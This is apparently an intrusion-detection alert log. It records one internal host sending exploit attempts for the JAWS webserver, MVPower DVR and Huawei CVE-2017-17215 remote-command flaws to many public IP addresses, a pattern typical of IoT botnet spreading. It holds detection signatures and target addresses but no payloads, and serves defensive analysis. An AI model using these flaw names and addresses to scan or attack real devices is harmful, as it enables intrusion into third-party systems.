06/01/24-18:15:56.244628	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53316	80	192.168.2.23	188.170.231.160
06/01/24-18:15:55.267325	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49916	80	192.168.2.23	104.145.249.34
06/01/24-18:15:53.238957	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58070	80	192.168.2.23	186.28.217.117
06/01/24-18:15:55.259243	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34126	37215	192.168.2.23	197.16.225.51
06/01/24-18:15:53.239313	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52812	80	192.168.2.23	41.59.82.228
06/01/24-18:15:53.247342	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36442	80	192.168.2.23	77.156.147.3
06/01/24-18:15:56.306634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36014	37215	192.168.2.23	156.35.92.138
06/01/24-18:15:56.305747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33730	37215	192.168.2.23	156.168.190.123
06/01/24-18:15:55.261842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59374	37215	192.168.2.23	197.244.184.156
06/01/24-18:15:55.267862	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48376	80	192.168.2.23	156.11.139.204
06/01/24-18:15:56.254180	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45154	80	192.168.2.23	2.239.207.135
06/01/24-18:15:56.246301	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48698	80	192.168.2.23	42.99.218.12
06/01/24-18:15:54.238269	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46164	80	192.168.2.23	81.66.87.121
06/01/24-18:15:54.238913	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33194	80	192.168.2.23	222.37.4.5
06/01/24-18:15:55.266068	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41658	80	192.168.2.23	128.197.243.4
06/01/24-18:15:56.246060	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35452	80	192.168.2.23	87.238.251.102
06/01/24-18:15:54.238074	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55982	80	192.168.2.23	124.0.139.31
06/01/24-18:15:55.272711	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60438	80	192.168.2.23	2.243.242.44
06/01/24-18:15:54.274132	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38926	37215	192.168.2.23	156.11.214.49
06/01/24-18:15:55.260018	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35538	37215	192.168.2.23	197.48.200.253
06/01/24-18:15:54.255877	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44130	37215	192.168.2.23	156.151.10.77
06/01/24-18:15:54.239397	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48212	80	192.168.2.23	85.238.207.251
06/01/24-18:15:55.261023	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57540	37215	192.168.2.23	156.172.199.73
06/01/24-18:15:55.268272	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53164	80	192.168.2.23	52.152.172.237
06/01/24-18:15:54.275631	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59058	37215	192.168.2.23	156.4.146.242
06/01/24-18:15:55.263159	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42834	37215	192.168.2.23	156.27.95.98
06/01/24-18:15:56.287929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36728	37215	192.168.2.23	41.121.144.224
06/01/24-18:15:54.275319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40920	37215	192.168.2.23	197.235.211.74
06/01/24-18:15:56.307148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37048	37215	192.168.2.23	197.208.62.80
06/01/24-18:15:54.239470	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47694	80	192.168.2.23	134.80.188.68
06/01/24-18:15:55.262015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34410	37215	192.168.2.23	197.138.203.250
06/01/24-18:15:54.239158	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48614	80	192.168.2.23	179.122.233.207
06/01/24-18:15:54.239895	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38226	80	192.168.2.23	156.33.185.72
06/01/24-18:15:56.308392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60204	37215	192.168.2.23	197.159.189.243
06/01/24-18:15:54.239435	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44378	80	192.168.2.23	32.62.55.43
06/01/24-18:15:54.240636	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39258	80	192.168.2.23	108.12.66.222
06/01/24-18:15:54.255917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54086	37215	192.168.2.23	156.123.221.185
06/01/24-18:15:56.308318	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45824	37215	192.168.2.23	156.126.49.34
06/01/24-18:15:55.266407	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40428	80	192.168.2.23	161.254.82.15
06/01/24-18:15:54.239735	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49570	80	192.168.2.23	42.187.49.118
06/01/24-18:15:54.287413	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60892	37215	192.168.2.23	41.54.77.148
06/01/24-18:15:56.306669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52088	37215	192.168.2.23	41.174.41.196
06/01/24-18:15:54.240104	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42682	80	192.168.2.23	13.15.216.154
06/01/24-18:15:55.267200	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41196	80	192.168.2.23	54.66.237.186
06/01/24-18:15:54.240252	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50940	80	192.168.2.23	76.115.82.134
06/01/24-18:15:54.239857	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43072	80	192.168.2.23	107.118.12.96
06/01/24-18:15:54.238762	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35140	80	192.168.2.23	24.72.9.82
06/01/24-18:15:54.252020	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51288	37215	192.168.2.23	156.122.101.93
06/01/24-18:15:54.255667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57142	37215	192.168.2.23	41.39.148.206
06/01/24-18:15:54.254890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60608	37215	192.168.2.23	41.55.10.217
06/01/24-18:15:56.307937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38026	37215	192.168.2.23	41.116.27.9
06/01/24-18:15:54.273986	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48062	37215	192.168.2.23	156.238.73.159
06/01/24-18:15:56.308533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35508	37215	192.168.2.23	156.141.78.170
06/01/24-18:15:54.238679	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59368	80	192.168.2.23	45.9.82.52
06/01/24-18:15:54.255942	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42316	37215	192.168.2.23	156.170.125.222
06/01/24-18:15:54.274260	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60032	37215	192.168.2.23	156.42.136.63
06/01/24-18:15:53.246794	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43646	80	192.168.2.23	121.59.20.215
06/01/24-18:15:55.261750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49726	37215	192.168.2.23	156.207.173.145
06/01/24-18:15:56.224422	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57186	80	192.168.2.23	17.87.254.21
06/01/24-18:15:55.265615	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46094	80	192.168.2.23	128.10.35.101
06/01/24-18:15:54.255707	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51746	37215	192.168.2.23	156.110.247.233
06/01/24-18:15:53.239740	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60104	80	192.168.2.23	58.199.54.70
06/01/24-18:15:54.240320	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49912	80	192.168.2.23	116.128.48.224
06/01/24-18:15:54.254417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33544	37215	192.168.2.23	41.244.158.164
06/01/24-18:15:55.265997	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32972	80	192.168.2.23	31.160.243.24
06/01/24-18:15:55.263203	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50546	37215	192.168.2.23	156.58.71.89
06/01/24-18:15:53.237843	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51866	80	192.168.2.23	98.108.66.200
06/01/24-18:15:54.239975	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55520	80	192.168.2.23	118.167.64.175
06/01/24-18:15:53.239781	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50078	80	192.168.2.23	129.193.114.98
06/01/24-18:15:55.265049	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33864	80	192.168.2.23	167.84.216.177
06/01/24-18:15:54.274796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40428	37215	192.168.2.23	197.99.171.142
06/01/24-18:15:54.254454	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47530	37215	192.168.2.23	156.234.39.13
06/01/24-18:15:55.262354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57030	37215	192.168.2.23	197.210.56.52
06/01/24-18:15:54.252168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49194	37215	192.168.2.23	156.227.20.171
06/01/24-18:15:55.266529	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38612	80	192.168.2.23	162.196.145.224
06/01/24-18:15:55.267705	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35598	80	192.168.2.23	203.183.146.124
06/01/24-18:15:54.275058	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51176	37215	192.168.2.23	156.148.74.163
06/01/24-18:15:54.252117	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36204	37215	192.168.2.23	41.37.220.142
06/01/24-18:15:56.288192	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53054	37215	192.168.2.23	197.121.209.235
06/01/24-18:15:56.305939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40892	37215	192.168.2.23	197.254.140.119
06/01/24-18:15:53.241257	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38354	80	192.168.2.23	8.194.32.207
06/01/24-18:15:54.252555	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49600	37215	192.168.2.23	197.171.180.102
06/01/24-18:15:55.262753	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43784	37215	192.168.2.23	197.161.107.182
06/01/24-18:15:54.255482	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57988	37215	192.168.2.23	156.149.206.65
06/01/24-18:15:54.275029	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52246	37215	192.168.2.23	41.73.11.125
06/01/24-18:15:56.307479	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60150	37215	192.168.2.23	156.63.174.230
06/01/24-18:15:55.265734	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51458	80	192.168.2.23	83.218.78.62
06/01/24-18:15:54.238596	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32936	80	192.168.2.23	189.82.218.132
06/01/24-18:15:53.240154	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39420	80	192.168.2.23	31.70.83.31
06/01/24-18:15:54.274661	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58694	37215	192.168.2.23	41.95.142.163
06/01/24-18:15:54.255200	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56718	37215	192.168.2.23	41.45.246.39
06/01/24-18:15:53.240463	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37714	80	192.168.2.23	206.121.1.240
06/01/24-18:15:55.265647	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56880	80	192.168.2.23	8.125.254.226
06/01/24-18:15:54.273833	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40358	37215	192.168.2.23	156.251.190.176
06/01/24-18:15:54.275278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36160	37215	192.168.2.23	156.221.125.6
06/01/24-18:15:54.273878	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60218	37215	192.168.2.23	156.211.151.21
06/01/24-18:15:53.241470	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58476	80	192.168.2.23	223.81.79.132
06/01/24-18:15:54.251714	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55452	37215	192.168.2.23	41.61.54.93
06/01/24-18:15:55.233612	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47420	37215	192.168.2.23	197.83.168.107
06/01/24-18:15:55.267380	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40128	80	192.168.2.23	149.50.188.155
06/01/24-18:15:53.238996	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58076	80	192.168.2.23	142.5.237.169
06/01/24-18:15:55.259394	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46300	37215	192.168.2.23	197.159.67.191
06/01/24-18:15:54.275397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58696	37215	192.168.2.23	156.9.202.179
06/01/24-18:15:54.252427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49906	37215	192.168.2.23	156.113.109.247
06/01/24-18:15:55.261204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42426	37215	192.168.2.23	156.177.250.156
06/01/24-18:15:54.251796	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57566	37215	192.168.2.23	41.179.71.43
06/01/24-18:15:56.245720	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49594	80	192.168.2.23	8.18.108.124
06/01/24-18:15:55.260018	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35538	37215	192.168.2.23	197.48.200.253
06/01/24-18:15:54.275438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50042	37215	192.168.2.23	197.5.246.90
06/01/24-18:15:54.274916	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46990	37215	192.168.2.23	156.108.83.196
06/01/24-18:15:53.239527	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34360	80	192.168.2.23	92.228.245.159
06/01/24-18:15:56.306870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49334	37215	192.168.2.23	197.141.16.244
06/01/24-18:15:54.252084	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54532	37215	192.168.2.23	197.159.210.112
06/01/24-18:15:56.245249	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52570	80	192.168.2.23	204.99.201.107
06/01/24-18:15:54.253050	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54402	37215	192.168.2.23	41.152.169.18
06/01/24-18:15:54.254853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47606	37215	192.168.2.23	197.110.203.35
06/01/24-18:15:54.275631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59058	37215	192.168.2.23	156.4.146.242
06/01/24-18:15:53.247003	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40782	80	192.168.2.23	170.90.134.85
06/01/24-18:15:53.238429	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39486	80	192.168.2.23	202.24.92.234
06/01/24-18:15:53.239991	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32914	80	192.168.2.23	45.238.94.61
06/01/24-18:15:54.240221	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53534	80	192.168.2.23	219.191.228.10
06/01/24-18:15:55.261422	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41992	37215	192.168.2.23	41.57.81.216
06/01/24-18:15:55.267015	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57650	80	192.168.2.23	107.137.173.67
06/01/24-18:15:54.253905	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45198	37215	192.168.2.23	156.145.248.27
06/01/24-18:15:56.308000	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39248	37215	192.168.2.23	41.95.96.115
06/01/24-18:15:56.245498	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42136	80	192.168.2.23	42.133.131.181
06/01/24-18:15:55.261159	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57668	37215	192.168.2.23	41.223.205.90
06/01/24-18:15:54.256722	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52616	37215	192.168.2.23	41.56.241.40
06/01/24-18:15:54.253014	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55216	37215	192.168.2.23	156.37.13.98
06/01/24-18:15:56.307292	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49158	37215	192.168.2.23	156.169.205.31
06/01/24-18:15:54.254086	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49882	37215	192.168.2.23	197.121.136.81
06/01/24-18:15:53.238153	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56838	80	192.168.2.23	117.200.77.204
06/01/24-18:15:56.246812	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43896	80	192.168.2.23	38.25.43.161
06/01/24-18:15:54.255976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41036	37215	192.168.2.23	156.69.248.105
06/01/24-18:15:54.274464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35470	37215	192.168.2.23	41.101.61.245
06/01/24-18:15:55.266159	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56890	80	192.168.2.23	61.112.73.122
06/01/24-18:15:54.239818	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50036	80	192.168.2.23	99.223.38.236
06/01/24-18:15:56.245784	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59086	80	192.168.2.23	63.169.38.14
06/01/24-18:15:54.239201	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44888	80	192.168.2.23	161.43.121.185
06/01/24-18:15:53.239114	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44372	80	192.168.2.23	117.241.145.89
06/01/24-18:15:54.275477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45632	37215	192.168.2.23	41.160.105.72
06/01/24-18:15:53.239819	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44778	80	192.168.2.23	25.87.20.30
06/01/24-18:15:55.268528	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36644	80	192.168.2.23	208.229.32.27
06/01/24-18:15:53.240505	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50218	80	192.168.2.23	159.209.163.86
06/01/24-18:15:55.262933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43420	37215	192.168.2.23	197.247.117.7
06/01/24-18:15:55.268035	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49550	80	192.168.2.23	19.122.215.223
06/01/24-18:15:53.240919	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33878	80	192.168.2.23	112.152.48.8
06/01/24-18:15:54.255507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57296	37215	192.168.2.23	197.132.75.186
06/01/24-18:15:54.253499	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34684	37215	192.168.2.23	197.65.247.219
06/01/24-18:15:54.252202	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41014	37215	192.168.2.23	156.167.5.201
06/01/24-18:15:54.251939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35612	37215	192.168.2.23	41.125.186.113
06/01/24-18:15:54.240725	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32974	80	192.168.2.23	190.157.211.94
06/01/24-18:15:55.265213	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39394	80	192.168.2.23	196.27.40.199
06/01/24-18:15:54.239497	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45190	80	192.168.2.23	42.11.130.136
06/01/24-18:15:53.237611	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57450	80	192.168.2.23	138.193.26.70
06/01/24-18:15:55.266592	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50724	80	192.168.2.23	106.231.83.190
06/01/24-18:15:54.240458	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35078	80	192.168.2.23	157.151.151.63
06/01/24-18:15:56.254225	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46648	80	192.168.2.23	64.170.221.237
06/01/24-18:15:54.254785	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36170	37215	192.168.2.23	156.47.174.21
06/01/24-18:15:55.265935	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55482	80	192.168.2.23	95.179.61.207
06/01/24-18:15:54.254747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45572	37215	192.168.2.23	41.109.78.181
06/01/24-18:15:54.255124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35932	37215	192.168.2.23	156.240.0.43
06/01/24-18:15:55.266247	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36378	80	192.168.2.23	12.230.123.8
06/01/24-18:15:56.246669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35082	80	192.168.2.23	83.217.140.1
06/01/24-18:15:54.254489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60378	37215	192.168.2.23	156.88.210.161
06/01/24-18:15:54.238344	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46754	80	192.168.2.23	52.191.152.237
06/01/24-18:15:55.262801	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43862	37215	192.168.2.23	197.162.38.43
06/01/24-18:15:54.274024	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52602	37215	192.168.2.23	156.150.168.22
06/01/24-18:15:53.241011	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46490	80	192.168.2.23	93.152.148.219
06/01/24-18:15:55.260064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42688	37215	192.168.2.23	41.69.68.105
06/01/24-18:15:55.267599	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49982	80	192.168.2.23	179.119.22.120
06/01/24-18:15:53.240242	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34922	80	192.168.2.23	158.4.130.100
06/01/24-18:15:56.307801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52408	37215	192.168.2.23	156.2.53.201
06/01/24-18:15:53.247036	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56362	80	192.168.2.23	44.214.37.113
06/01/24-18:15:54.253169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41296	37215	192.168.2.23	197.189.238.220
06/01/24-18:15:56.244558	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56334	80	192.168.2.23	45.33.63.82
06/01/24-18:15:54.239716	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52274	80	192.168.2.23	106.72.36.51
06/01/24-18:15:55.263799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47668	37215	192.168.2.23	41.148.200.185
06/01/24-18:15:54.238811	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56774	80	192.168.2.23	145.92.78.73
06/01/24-18:15:56.254840	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50144	80	192.168.2.23	109.252.239.250
06/01/24-18:15:56.288115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54864	37215	192.168.2.23	156.126.149.65
06/01/24-18:15:54.275795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47684	37215	192.168.2.23	197.116.0.109
06/01/24-18:15:54.254976	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56050	37215	192.168.2.23	156.13.177.93
06/01/24-18:15:55.259625	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34526	37215	192.168.2.23	41.179.125.3
06/01/24-18:15:56.307625	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38878	37215	192.168.2.23	197.19.181.180
06/01/24-18:15:54.274503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56590	37215	192.168.2.23	156.226.16.66
06/01/24-18:15:54.237719	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54410	80	192.168.2.23	147.89.17.146
06/01/24-18:15:55.263359	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45096	37215	192.168.2.23	156.11.8.51
06/01/24-18:15:55.263544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34470	37215	192.168.2.23	156.51.243.47
06/01/24-18:15:56.244906	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37372	80	192.168.2.23	57.33.20.180
06/01/24-18:15:54.274630	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60168	37215	192.168.2.23	156.58.162.34
